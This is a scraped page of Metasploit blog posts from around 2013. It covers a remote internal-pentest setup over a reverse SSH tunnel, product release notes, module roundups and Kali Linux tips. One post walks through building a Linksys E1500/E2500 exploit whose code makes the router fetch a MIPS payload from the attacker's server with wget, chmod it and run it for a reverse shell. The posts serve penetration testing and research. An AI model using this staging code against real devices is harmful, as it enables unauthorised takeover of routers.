Skip navigation
All Places > Metasploit > Blog
16 17 18 19 20 Previous Next


633 posts

remote-security-audit.jpgAn internal penetration tests simulates an attack on the network from inside the network. It typically simulates a rogue employee with user-level credentials or a person with physical access to the network, such as cleaning staff, trying to access resources on the network they're not authorized for.


Internal penetration tests typically require the auditor to be physically present in the location. If you are working as a consultant, then conducting internal penetration tests can mean a lot of travel. Unless the networks you have to audit are in prime vacation spots, this can be a drag, and it's expensive because it reduces billable time and incurs higher T&Es for your customer.

Here's an approach on how you can eliminate the need to travel and still get the same work done. One advantage of this approach is that this approach does not require you to ship an appliance or device to the customer that must later be returned. Also, this doesn't only work for consulting shops but also for large companies with internal penetration testers who need to audit several sites.


Set up SSH server on the Internet


In this example, we set up an Ubuntu server hosted in the cloud. However, you could do this with any server that has an internet-facing IP address. In this example, the server has the address and you will be auditing from Here's what you do next:

  • Install the SSH server on the machine using sudo apt-get install openssh-server
  • Setup up a new account for user tunneluser with command sudo adduser tunneluser
  • Set up an SSH account for user tunneluser
  • Open the file /etc/ssh/sshd_config and append the line GatewayPorts yes
  • Configure the server to only accept access to port 3790 from your own network with iptables rules like this:

  iptables -A INPUT -P DROP

  iptables -A INPUT -p tcp --dport ssh -j ACCEPT

  iptables -A INPUT -p tcp --dport 3790 --source -j ACCEPT



Create a virtual machine running Metasploit Pro


Next, you need to set up the virtual machine you'll make available to your customer.


  • Create a virtual machine running Ubuntu 12.04
  • Generate an SSH key for tunneluser with ssh-keygen
  • Copy the resulting public key file (~/.ssh/ to /home/tunneluser/.ssh/authorized_keys on the Ubuntu machine created in the previous section. Prepend no-pty,command="/bin/false" to the key. This will ensure that someone who grabs the key from your VM will not be able to take control of the tunnel server. Both steps here can be performed with a single command:

  (echo -n 'no-pty,command="/bin/false" '; cat >> ~/.ssh/authorized_keys

  • Ensure that the network adapter is set to bridged (payloads won't be able to connect back if the machine is NATed)
  • Download the latest version of Metasploit from
  • Install Metasploit on the machine
  • Create your Metasploit user name and password on the machine
  • Activate your Metasploit Pro license (if you don't have a license, sign up for the 7-day trial)
  • Create a start-up script  that contains only the following line: ssh -n -R3790:localhost:3790 tunneluser@
  • Shut down the virtual machine


Have your client run the virtual machine in their network


Next, you'll have to ask your client to run the virtual machine on their network.


  • Zip the virtual machine and make it available to your client as a download (or FedEx a DVD)
  • Have the client boot the virtual machine on their network, where it gets a local IP address through DHCP
  • Ask the customer to log in to the machine, which launches the start-up script, creating outbound SSH connection to your server.


Start your internal security audit - remotely


Time to get started on your internal security audit:


  • Point your browser to and log in to Metasploit Pro.
  • All of your commands will be executed on the virtual machine inside your client's network.
  • When you're done, you can download the project file and reports through the browser directly onto your machine.
  • To end the engagement, ask your client to shut down the virtual machine. Note that all the data from the engagement is saved on this virtual machine, so you should either securely archive it or delete it.


Here's a network diagram of what you just set up:




Security considerations


Providing remote access to a local network can introduce security issues. However, the approach taken in these instructions are less dangerous than a user-level VPN access:

  • The access needs to be initiated from the inside of the network, while VPN connections are initiated from the outside.
  • The virtual machine only has network access, while the VPN user also has credentials to access the network's resources
  • All network communication is encrypted (VM to server: SSH, browser to server: SSL)
  • Strong authentication is used for all connections (VM to server: SSH, browser to server: user/password)
  • Access to Metasploit Pro is limited to the network range of the consultant's network


Please let me know if you've had good experience with this approach, or if you have taken a slightly different approach that you would like to share.

Today, we released Metasploit Pro 4.6, which brings you some awesome new features for your enterprise security program.

Updated Web Application Security Testing with Support for OWASP Top 10 2013

Web applications are gaining more and more traction, both through internally developed applications and by adding SaaS-based solutions. These applications often contain some of the most confidential information in the organization, such as financial and customer data, credit card numbers, medical data, and intellectual property. To enable you to audit the security of these applications, Metasploit Pro's web application auditing functionality has been significantly enhanced in the new release:


  • web-app-testing-wizard.pngSupport for OWASP Top 10 2013: Release 4.6 broadens the scope of Metasploit’s security auditing with the inclusion of testing capabilities for the upcoming Open Web Application Security Project (OWASP) Top 10 2013, which is currently in the Release Candidate stage. The list identifies ten of the most critical risks relating to web applications. Due to the popularity of, and increasing reliance on, web applications, they are involved in the majority of breaches. Metasploit addresses this, enabling organizations to audit the security of their web-based applications, whether they be out of the box or custom, on-premise or in the cloud. This helps security professionals identify issues before a malicious attacker does. Learn more about what's new in our OWASP Top 10 2013 webcast.
  • Revamped user interface: Metasploit's web application security testing is now easier to use and includes a wizard that walks you through the process. This speeds up the process for seasoned web application penetration testers, and makes it really easy for new users to conduct baseline assessments.
  • More effective website spider: Like Google crawling the web to index pages, Metasploit Pro's spider follows linked pages to map out the entire application. The updated spider is now more efficient and follows harder to find links to ensure comprehensive testing.
  • Get shells using SQL injection: SQL injections are among the top reasons of compromise for web applications, posing a huge risk to confidential data. Most SQL injection attacks give you access to the data in the database; Metasploit Pro's new SQL injection attacks go beyond this, giving penetration testers a session on the machine, which is equivalent to having administrative rights on the machine. This gives the penetration tester not only access to the database but also to other information on the machine, and opens the door to pivot to other machines.
  • Support for web app authentication: Many web applications require log in credentials for access. Metasploit Pro now supports the five most common authentication types.
  • Web app report with remediation advice: Finding vulnerabilities is great, but the goal is to eliminate them. The remediation advice provided in Metasploit's reports should serve as a valuable basis for discussions with internal developers and external SaaS application providers.


Security Auditing Wizards Accelerate Engagements, Simplify Baseline Assessments

metasploit-wizards.pngMetasploit Pro 4.6 also introduces the concept of Security Auditing Wizards, which walk the user through the steps of a typical engagement. Seasoned penetration testers will find that the wizards shortcut the first steps of an engagements, making them more productive. For new Metasploit Pro users, the new wizards provide a great way to easily conduct baseline assessments to find low-hanging fruit. Release 4.6 introduces three new wizards:

  • Quick Penetration Testing Wizard: This wizard guides security professionals through a baseline penetration test. Only requiring users to enter an IP range, the wizard discovers assets, fingerprints hosts, determines potential attacks, runs exploits of a certain safety level, and provides a report. The wizard can either serve as a first step for a more in-depth security assessment or for a baseline penetration test to find low-hanging fruit, either as a regular security practice or before a third-party audit to make it more effective.
  • Web Application Testing Wizard: Requiring only a base URL to start, this wizard crawls the web application, finds exploitable vulnerabilities, and creates a report with remediation information. It is a great, quick way to assess the security of an application during regular assessments or as a gate before releasing it to production.
  • Phishing Simulation Wizard: Phishing emails with links or attachments that try to exploit a user's machine are a big threat vector for many organizations, both for spear phishing and for untargeted attacks. Metasploit Pro's social engineering campaigns enable organizations to measure their exposure by sending simulated phishing emails, both to get a general sense of the size of risk and to verify a reduction of risk after conducting security awareness trainings. 

TL;DR - Or "Video Killed the Blogging Star"

Can't be bothered to read all this? I'm giving a quick overview of the Metasploit Pro 4.6 release in today's Whiteboard Wednesday.


Metasploit Pro 4.6 is available for download now

All of these improvements in Metasploit Pro 4.6 are in addition to the weekly updates to all Metasploit editions, both free and commercial ones (read todb's awesome post on Metasploit Framework updates). Existing users of Metasploit can update their installation using the in-product update feature (Kali Linux users may see the update in four hours at the latest as the Kali repos synch).

If you want to learn more about what's new in OWASP Top 10 2013, reserve a free seat in our OWASP webcast today.

For free trial of Metasploit Pro, download the Metasploit installer now.


Metasploit 4.6.0 Released!

Posted by todb Employee Apr 10, 2013

We just released Metasploit 4.6.0, so applying this week's update will get you the brand new version. While Chris has a delightful blog post of what all is new in Metasploit Pro, let's take a look at what's exciting and new between Metasploit 4.5.0 and today's update to 4.6.0.


138 new modules


First off, the hacker elves have been cranking out a ton of module content since we released 4.5.0 back in December, 2012. Between then and now, we've got 138 new modules. That's 1.1 new modules per day, including those days that other people call "weekends" and "holidays." Of those, we have 80 new exploits, 44 new auxiliary modules, and 12 new post modules.


Of course, most of the module commits don't originate with us here at Rapid7. Over this release, we have 86 distinct committers contributing to Metasploit, and only 11 of them are employed here at Rapid7. It's this overwhelming strength of the Metasploit exploit development community that keeps me super-excited to do Good Work every day. Seriously, thank you all for that. I'm getting all verklempt here.


A stroll down diff lane


Of course, we did a little more than just sling exploit code for 4.6.0. We also moved the ball forward on a whole bunch of core development and security research. Here are the highlights:

  • We got serious about unit testing. Exploit writers are notorious for writing quick, throw-away code, born of the race to get a working PoC together before the next guy (and the next patch!). Since Metasploit Framework is largely written by exploit devs, this habit has been really hard to combat. That said, on the road to 4.6.0, we integrated Travis-CI to run our growing library of RSpec tests. We're a long way from done there, of course, but we've made some pretty significant progress.
  • We detailed our peer code review practices for landing new code and new modules. Open source security development means taking risks, leaving your comfort zone, and suffering the slings and arrows of code review. Believe me, it's a lot easier to just pile on hack after hack when you're sitting in your closed-source cubicle farm, but developing in public means that we get to review and critique code from all comers. In the end, we hope we're being helpful, and fewer mistakes are repeated for next time.
  • We ported a bunch of 0day for Metasploit users. This kind of fast turnaround immediately puts the tools to test and validate remediation directly in the hands of the people who are best positioned to help: you. In addition, Metasploit exploits are now making it into other projects' regression testing cases, and are used to teach the next wave of security researchers how to quickly turn a found-in-the-wild 0day into a useful, safe, and effective exploit module.
  • We implemented a pretty novel new Postgres payload delivery system -- just in time for the recent wave of Postgres vulnerabilities! Nothing proves a vulnerability better than popping shells.
  • We invented a portable Ruby command exec payload to take advantage of the wave of Rails vulnerabilities announced these last couple months. While getting a rails server to print "hello world!" on the console is all well and good, it's really all about the shells.
  • We updated msfupdate to fully take advantage of our Git-based source code control systems, as well as to use the Metasploit Community and Pro edition update systems. We recognize that most Metasploit users really just want stability and security in their updates, and tracking along a source code tree isn't usually the way to get there. So, now installed versions of Metasploit (including Kali-installed Debian packages) will only update once a week, after the usual in-house QA and validation.
  • We turned exploited endpoints into Hollywood-hacker spy systems. Thanks to a user bug, we found that the record_mic feature of Meterpreter had been broken for a little while. So, we fixed it, wrapped it up in a post module, added a webcam activation module and some CCTV controller, and unleashed these A/V-centric modules into the world. I have no idea if real espionage agents actually do this kind of thing or not, but now you can prove that they can on your next pentest engagement. After all, that's kind of the point of a penetration test -- you want to be able to simulate what a real adversary could do in order to bring attention to the real risk of vulnerabilities.
  • We put together some UPnP modules to help people scan their enterprises for misconfigured and buggy UPnP endpoints. You are blocking and watching UDP port 1900 by now, right?
  • We asked you nicely to msftidy.rb your modules as part of a Git pre-commit hook. Since we started automating msftidy, the module quality we've been seeing shot up considerably, and we've been able to move new modules through the pull request queue a lot faster with a lot fewer common mistakes. Of course, as a result, we now get more pull requests. I'm sure there's an economics lesson about friction in there somewhere.
  • We started using a new heap spray technique for our many browser-based exploits. This was on the heels of some very excellent training and collaboration with the Corelan Team. Now, with a little luck, we can write more reliable exploits all the way through Internet Explorer 10, as well as Firefox 54 (or whatever their latest version is by the time this post goes live).
  • We now support Kali as an installation target. This was a huge accomplishment, thanks to the teamwork between Rapid7 and Offensive Security, getting a stable, supportable build into the hands of Kali Linux users worldwide. Assuming this ends up working out as we expect, we should be able to start supporting other platforms, such as Ubuntu, Debian, and Mint, with proper Debian packages. (We're also experimenting with a for-real Homebrew tap for you Mac OSX guys, but shhh it's not official yet.)
  • We pushed the envelope on WAP/Router hacking by landing a metric ton of exploit and auxilary modules targeting Linksys, D-Link, and Netgear devices, as well as putting together command execution payloads custom built for MIPS computing environments.


So, yeah. Been a busy four months or so. All of those bullets start with the word "we," and like I said, that's not just Rapid7 folks; it's all of you who pitched in with your work, patience, smarts, and gumption to get this thing out the door. Thanks!


Module roundup


If you're upgrading from 4.5.0 to 4.6.0, here's the laundry list of security testing goodness you have to look forward to. Let's be careful out there!




If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Normally we don't get a lot of contributions regarding embedded devices. Even when they are an interesting target from the pentesting point of view, and is usual to find them out of DMZ zones on corporate networks. Maybe it's because access to these devices or the software running in top of them is not so easy. Maybe because usually they are based on MIPS architectures which hasn't get so much attention as x86 or ARM architectures. Or maybe because it's not so easy always to run the their software in a  controlled (debugged) fashion.


Fortunately, Michael Messner (aka m-1-k-3) is the exception, he isn't only doing an awesome work about vulnerability research on small Linux routers, but also doing a great work writing modules targeting these embedded devices in order to fingerprint devices, retrieve configuration files or getting shells. In this blog post we would like to share with all you a successful (spoiling!) trip until a shell which we did with m-1-k-3. The blog post also introduces some of the new improvements of Metasploit in order to speed exploit development on MIPS based devices.



This story started with m-1-k-3 doing some pull request for auxiliary modules achieving remote OS command execution in MIPS network-related embedded devices through their web interfaces:


  • #1618: Remote command execution on Netgear DGN2200B
  • #1636: Remote command execution on Netgear DGN1000B
  • #1640: Remote command execution on D-Link DIR-615


Unfortunately, after reviewing them and discussing the topic with other Metasploit developers, we asked m-1-k-3 to convert these auxiliary modules into remote exploits. Normally, after getting a way to execute arbitrary OS command it's more or less easy to get a Metasploit session and a working exploit. Exploits are preferred because Metasploit users benefit in two ways:


  1. They get easy and powerful interaction with the target through a session.
  2. They benefit from post-exploitation modules.


Unfortunately, it's usual on embedded devices to have available only a small set of OS commands through a restricted busybox shell and a few more tools. Here is, for example, the set of available commands on a DGN 1000B device:


[            br2684ctld    dmesg            igmp          ln          nbtscan      pppd                routed          udhcpd
[[          brctl        dnrd            import_ca.cgi  ls          netgear_ntp  pppoe              scfgmgr          umount
adslmod      busybox      dsl_cpe_control  init          lsmod      nvram        pppoe-relay        setup.cgi        upgrade_flash.cgi    cat          dsl_diag        insmod        md5sum      oamd        ps                  setupwizard.cgi  upload.cgi
ash          chmod        echo            iptables      mini_httpd  oamlbsearch  rc                  sh              wget
athcfg      cmd_agent_ap  ez-ipupdate      iptpat_util    miniupnpd  pb_ap        reboot              sleep            wifi_monitor
atmarp      conf          free            kill          mkdir      ping        restore_config.cgi  smtpc            wizard
atmarpd      cp            halt            killall        mknod      pot          rm                  syslogd          wpa_supplicant
atm_monitor  crond        hostapd          klogd          mount      potcounter  rmmod              test            wpatalk
br2684ctl    cut          ifconfig        lld2          mv          poweroff    route              udhcpc          wsc_det


After discussing the possibilities with @m-1-k-3 we concluded it wasn't a good idea to write CMD exploits for these devices, because of two points:


  1. In the best case we would need new payloads which would be device specific.
  2. Native payloads (and shell sessions) are more powerful than CMD payloads.


After discarding CMD type exploits, we switched to the possibility of staging from CMD to the execution of a native payload. Since it's usual to have tools such as wget, or alternative ways to download files from remote hosts to the embedded device, it sounded like a good option. In fact, sounded like a perfect solution for us. But there was another pitfall. There wasn't support to create MIPS ELF (nor big endian neither little endian) executables still in Metasploit, So the MIPS payloads couldn't be embedded into executable files programmatically. Fortunately add the support was as easier as:


1) Create tiny ELF templates for the MIPS architectures (little and big endian). In the case of MIPSLE something like:



org 0x00400000

ehdr:                            ; Elf32_Ehdr
  db    0x7F, "ELF", 1, 1, 1, 0  ;  e_ident
  db    0, 0, 0, 0,  0, 0, 0, 0  ;
  dw    2                        ;  e_type      = ET_EXEC for an executable
  dw    0x8                      ;  e_machine    = MIPS
  dd    1                        ;  e_version
  dd    _start                  ;  e_entry
  dd    phdr - $$                ;  e_phoff
  dd    0                        ;  e_shoff
  dd    0                        ;  e_flags
  dw    ehdrsize                ;  e_ehsize
  dw    phdrsize                ;  e_phentsize
  dw    1                        ;  e_phnum
  dw    0                        ;  e_shentsize
  dw    0                        ;  e_shnum
  dw    0                        ;  e_shstrndx

ehdrsize equ  $ - ehdr

phdr:                            ; Elf32_Phdr
  dd    1                        ;  p_type      = PT_LOAD
  dd    0                        ;  p_offset
  dd    $$                      ;  p_vaddr
  dd    $$                      ;  p_paddr
  dd    0xDEADBEEF              ;  p_filesz
  dd    0xDEADBEEF              ;  p_memsz
  dd    7                        ;  p_flags      = rwx
  dd    0x1000                  ;  p_align

phdrsize equ  $ - phdr



2) Add support to MSF::Util::EXE to have into account the new templates, so MIPS ELF executables could be created through the use of the mixin, by calling the Msf::Util::Exe.to_executable() API. Or also through the Msf::Exploit::EXE mixin, by calling its generate_payload_exe() method. If you would like to review, exactly, how the support was added you can check the next pull requests:


  • #1666: Support for MIPSLE ELF.
  • #1671: Support for MIPSBE ELF.


With the support for MIPS ELF executables available on Msf::Util::EXE it's just a matter of coding to have available these awesome embedded devices exploits. And m-1-k-3 started writing the first of (we hope!) a long serie of embedded devices exploits. In this first module an authenticated os command injection, on the Web Interface of the Linksys E1500/E2500 Wireless routers, is abused. The vulnerability details can be found in the original advisory. And the full exploit writing history can be found in the next pull request: "#1688: Linksys E1500/E2500 Remote Command Execution". As a summary, in order to execute the shell payloads the staging is accomplished by:


1) Create a MIPS ELF with the payload to execute after include the Msf::Exploit::EXE mixin:


@pl = generate_payload_exe


2) Start a Web Server (or use an external one).


# start our server
resource_uri = '/' + downfile

if (datastore['DOWNHOST'])
  service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
  #do not use SSL
  if datastore['SSL']
  ssl_restore = true
  datastore['SSL'] = false

  #we use SRVHOST as download IP for the coming wget command.
  #SRVHOST needs a real IP address of our download host
  if (datastore['SRVHOST'] == "" or datastore['SRVHOST'] == "::")
  srv_host = Rex::Socket.source_address(rhost)
  srv_host = datastore['SRVHOST']

  service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
  print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
  start_service({'Uri' => {
  'Proc' => { |cli, req|
  on_request_uri(cli, req)
  'Path' => resource_uri

  datastore['SSL'] = true if ssl_restore


3) Use the Web Server to sent the ELF with the embedded payload on new requests:


# Handle incoming requests from the server
def on_request_uri(cli, request)
  #print_status("on_request_uri called: #{request.inspect}")
  if (not @pl)
  print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
  print_status("#{rhost}:#{rport} - Sending the payload to the server...")
  @elf_sent = true
  send_response(cli, @pl)


4) Exploit the remote OS command injection to download the MIPS ELF payload with the available wget tool:

# download payload
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)

#not working if we send all command together -> lets take three requests
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
res = request(cmd,user,pass,uri)
if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

5) Exploit the remote OS command injection to give execution permissions to the downloaded binary:

# chmod
cmd = "chmod 777 /tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

6) Exploit the remote OS command injection to execute the downloaded binary:

# execute
cmd = "/tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

7) Enjoy! After a long and funny trip now we can enjoy Linksys E1500 shells (thanks m-1-k-3!):


Linksys E1500 reverse shell session (shared by m-1-k-3)


Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

Minecraft-Vectored Malware

Metasploit exploit developer Juan @_juan_vazquez_, while trawling the Internet for the next hot exploit, came across this pastie describing a Java exploit which takes advantage of a vulnerability in Java's Color Management classes. Turns out, this is also one of the vulns being exploited in McRat, a Trojan targeting Windows-based Minecraft players (that's what the "Mc" stands for).


McRat is compelling to potential victims because of its specificity and large potential victim pool. By targeting Minecraft players, attackers are specifically avoiding the browser vector, for starters. They're also playing on people's tendency to install non-work related software on work machines, so your victims, by default, are not going to get a lot of love from their IT departments. On top of this, they're more likely to ignore the blanket advice to "disable Java," because they may not be aware that disabling Java in the browser won't, in fact, impact their stand-alone Minecraft experience.


There's since been a patch for this vulnerability -- it looks like Oracle is moving ever faster to knock out patches for these things. They also appear to have abandoned their quarterly patch cycle for all practical purposes when it comes to actively exploited security issues. If you haven't updated yet to Java 7u17 (or 6u43), now's a good time. If you believe you've patched, you can use the new module, Java CMM Remote Code Execution, to make sure.


PHP Shell Games

Speaking of malicious attacker software, this week also sees a quartet of new modules from community contributor bwall. We are now shipping modules targeting Ra1NX, STUNSHELL (two for that one), and v0pCr3w's shell.


These kinds of hack-the-hacker modules can be particularly useful on a penetration testing engagement. Not only are you able to identify machines that were compromised before you got there, but you can turn around and use the existing compromises to extend your own control over the affected assets. As egypt likes to say in his Metasploit training classes, "there is no cheating in hacking." Of course, you will want to alert your client pretty much right away and advise them on their current compromised situation.



I have it on good authority that internationally renowned superhacker and MongoDB user HD Moore was (quote) "just looking at that code," and was bummed that he didn't spot the vulnerability before agix. So it goes with bug-hunting, you can't win 'em all, and there are plenty of smart, dedicated exploit developers in the world who have just as good a shot at uncovering exploits that other smart, dedicated exploit devs might miss the first time around. In this case, it was community contributor agix who discovered the vulnerability in MongoDB and proved it out with a Metasploit module. 10gen, the primary maintainers of MongoDB, turned out a patch nearly immediately, so if you're a MongoDB user, you'll want to pick that up pronto.


New Modules

Wow, this post ended up being all about exploit content. Here are the rest of the modules -- 10 new ones, including those detailed above. In fact, the only non-exploit we have this week is a post-exploitation module for sneaking UNC paths into Word documents, courtesy of community contributor Sphaz. Thanks everyone!




If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Unix, Evolved


Today, we are delighted to announce the next phase of Metaploit's expanded support for more diverse host operating systems. On the heels of our integration work with Kali Linux, we've been heads-down on putting the finishing touches on our support for the future of Unix, Plan 9 from Bell Labs.




This renewed commitment to Plan 9 will come as a welcome relief for those of you who have, until now, been stuck on hobby operating systems such as Linux and FreeBSD -- academics and other researchers agree that Plan 9's rethinking of the file system mount points and distributed hardware models is ideal for today's networking environment. As we continue to blur the distinctions between the "extranet" and the "cloud," an operating system designed for distributed software and hardware is the most sensible choice for penetrations testers, exploit developers, and IT operations.


If you've been living under a rock for the last several years and have somehow avoided using Plan 9 so far, feel free to check the reference VMWare appliance. I'm sure you'll find the interface both intuitive and powerful. How could you not love an operating system that lets you mount a remote Ethernet interface as a local file system entity? Who needs clicking on hyperlinks when you can just mount the web site and use ls, grep, and find to navigate? Plan 9's utility as a pen-testing platform is apparent to anyone who's been brave enough to make the switch.


For those of you who have already made the switch, please feel free to comment below on your experiences with using Metasploit on this most excellent platform for security professionals. Readers are also encouraged to post here screenshots of Metasploit running on their own preferred operating system, be it a P9 derivative like 9Front or Inferno, or some other comparable OS such as NeXTSTEP, BeOS, SCO Open Desktop, or really any other device you're likely to use on an engagement.

Consumer-Grade Hacking

Last month, I talked about community contributor Michael @m-1-k-3 Messner's nifty D-Link authentication bypass, and made the case that having Metasploit modules for consumer-grade access points is, in fact, useful and important.


Well, this week's update has a pile of new modules from m-1-k-3, all of which are targeting these kinds of consumer-grade networked devices: We now have a Linksys E1500 / E2500 remote command exec exploit, a Linksys 1500 directory traversal exploit, a directory traversal module for TP-Link's TL-WA701ND access point, a password extractor for the DLink DIR-645, and a directory traversal module for NetGear's weird single-purpose cordless phone device.


That's right, we have a Metasploit module for a cordless phone. The era of there being a difference between your "electronic devices" and your "computer devices" is coming to a close. What I said last month about these sorts of devices being in scope for a pen-test still stands -- if they're not in scope today, they really ought to be, at least for key personnel. Criminals don't particularly care about your scope doc.


Thanks loads, m-1-k-3, for your work on these!


Who shot who in the what now?

This week's update includes a .mailmap file which consolidates the identities of contributors. For example, you can now see easily that the majority of contributors are, of course, not Rapid7 employees. This speaks to the power of the open source model of security software development that we employ here; even if Rapid7 tomorrow decided to pull the plug on this whole Metasploit thing and prohibited us from working on it, Metasploit will live on.


Technically, .mailmap helps consolidate "identities" to "humans," so things like 'git shortlog' and 'git blame' / 'git praise' are more meaningful. I use this data all the time to be able to determine who's committing what, and I'm sure third-party sites like Ohloh are doing the same.


The information used to populate the .mailmap was collected from git commit messages, so if you have personal info in there that you don't want, then a) be more careful with your own git config files, and b) let me know and I'll excise or anonymize or whatever.


Rake DB tests

I've talked about our slouching into the modern era of Ruby development before, and Rapid7 Metasploit Pro developer Luke @KronicDeth Imhoff has been valiantly championing that cause. The latest major change has been bringing the ability to "rake db" directly in Metasploit Framework, as of Pull Request #1592. This allows for all the usual database migrations, rollbacks, and drops that Rails developers are accustomed to having available. It also allows for direct testing of a lot of database-backed functionality, so this also strikes another blow for TDD.


Incidentally, if you are the sort to open a pull request on Metasploit, check out Luke's Verification Steps. This kind of initial documentation is massively useful for reviewers, as it really helps to demonstrate why your change is needed, what you think intended functionality is, and gives hints on how to test that your change is actually successful.


Msfupdate: Adios SVN

This is your final warning. If you're on an SVN checkout for Metasploit, you want to upgrade now. 'msfupdate' no longer will update over SVN; it will tell you to get your act together and exit out with code 0x11. This has been warned about since November of 2012. The SVN server is still up, so you can use regular svn commnads to get a checkout going (or edit your own version of msfupdate), but really, honest and true, you need to either (a) get a binary install for Metasploit, which comes with both Framework and Metasploit Community / Pro, or (b) get a local git clone of the source and track along with that. Both mechanisms are described at


New Modules

We've got fourteen new modules this week -- half exploits, half aux/post. Enjoy!





If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes..

Version bump to Metasploit 4.5.3

This week, we've incremented the Metasploit version number by one trivial point to 4.5.3 -- this was mainly done to ensure that new users get the fixes for the four most recent vulnerabilities that were fixed by Rails 3.2.13. While we're not aware of any exploits out there that are targeting Metasploit in particular (and these vulns do require to be targeting specific applications), you'd be advised to update at your earliest convenience.


In addition, 4.5.3 is once again a code-signed executable for Windows -- Linux users can still verify their bins by checking the appropriate SHA1 and PGP signature. Since we go to all the trouble of producing these signatures, you should probably check them. Not getting backdoored is a Good Thing.


Kali Linux

This is the first update released after our integration with the new and improved Kali Linux, I'm super excited about supporting Kali for real as a Metasploit platform with all the QA love that we give Ubuntu, Red Hat, and Windows. More interestingly, from  a technical standpoint, Metasploit Framework, Community & Pro have all been built as as Debian packages, so if this whole Kali thing works out, I'm cautiously optimistic about packaging in a similar way for similar platforms -- Ubuntu, Mint, Debian, and all the rest. That will be a glorious day indeed.


Hopefully, you had a chance to drop in on the March 21 webcast featuring HD Moore, Mati Aharoni, and Devon Kearns. If you didn't, no problem -- you can access the on-demand version here.



Finally, if you've been tracking along the commit history, you will have noticed that we've been embracing YARD as a standard for decorating classes and methods in the core Metasploit library. So, if you'd like to get some up-to-date documentation on an API call that you find a little mysterious, you can try typing yard doc in the top level of your Metasploit Framework source checkout then click around doc/index.html with your favorite browser.


If you don't find the documentation that you're looking for at that point, then hey, feel free to write some! We will totally take a pull request of insightful documentation for our many APIs, and YARD doc syntax is pretty easy to get a handle on. Check the YARD Guides to get started.


New Modules

Here are this week's new modules. It's an even dozen for your pen-testing pleasure.





If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

metasploitable ss.JPG

This week our Whiteboard Wednesday topic is on Metasploitable, our intentionally vulnerable virtual machine. Christian Kirsch from the Metasploit team, would like to talk about the finer points of how to download, install, and use this free tool as a test lab to get familiar with Metasploit. A lot of our customers are hesitant to use Metasploit on production machines, so this tool gives you the ability to sharpen your exploit knives with no risk.


Watch the video here!


Let us know what you think, any other topics you'd like us to cover, or feel free to leave us a comment below.


See you next Wednesday!

-Patrick Hellen

Today, our friends at Offensive Security announced Kali Linux, which is based on the philosophy of an offensive approach to security. While defensive solutions are important to protect your network, it is critical to step into the shoes of an attacker to see if they’re working. Kali Linux is a security auditing toolkit that enables you just that: test the security of your network defenses before others do.

Kali is a free, open source, and robust Linux Distribution that makes security auditing ready for the enterprise. It is the natural evolution of the BackTrack platform, which has been hugely popular among Metasploit users. This is why the Metasploit team here at Rapid7 was more than happy to join the Kali Linux project as an official contributor. We re-engineered Metasploit to fully integrate into the Kali Linux repositories and resolved some of the issues that may have caused some of you headaches with updates, databases, and general stability on BackTrack in the past.


To hear more about this topic, tune in to our free webcast with HD Moore (Metasploit Chief Architect), Mati Aharoni, and Devon Kearns (both from the BackTrack & Kali Linux team) on March 21 at 3pm Eastern.


If you can't wait that long, here's my short video to get an overview of Kali Linux:



If you'd like to start using Metasploit on Kali Linux, you may benefit from these tips:

  1. Download the Kali Linux Virtual Machine from, or install your own using instructions at
  2. Kali Linux doesn't start any application services by default to shorten the boot up time and reduce the attack surface to a minimum.
    1. To start Metasploit's services immediately, open a terminal window and enter service postgresql start && service metasploit start
    2. To start Metasploit's services on each boot time (but not immediately), open a terminal window and update-rc.d postgresql enable && update-rc.d metasploit enable

  3. To start Metasploit Framework, open the Applications menu > Kali Linux > Top 10 Security Tools -> Metasploit Framework
  4. To start the web ui for Metasploit Community or Metasploit Pro, you have two options:
    1. Type the new go_pro on the Metasploit Framework console (only available in Kali Linux for now), which starts all services and then launches the browser with http://localhost:3790, the URL of the Metasploit Community / Pro web-based user interface

    2. Open the menu Applications -> Kali Linux -> Exploitation Tools -> Metasploit -> metasploit community / pro


In case you have more questions, we have prepared an FAQ about Kali Linux and Metasploit.


I hope you'll enjoy using Metasploit Framework, Metasploit Community, and Metasploit Pro on Kali Linux. If you'd like to learn more about Kali Linux and Metasploit, attend our free webcast with HD Moore (Metasploit Chief Architect), Mati Aharoni, and Devon Kearns (both from the BackTrack & Kali Linux team) on March 21 at 3pm Eastern.


America's Next Top Module

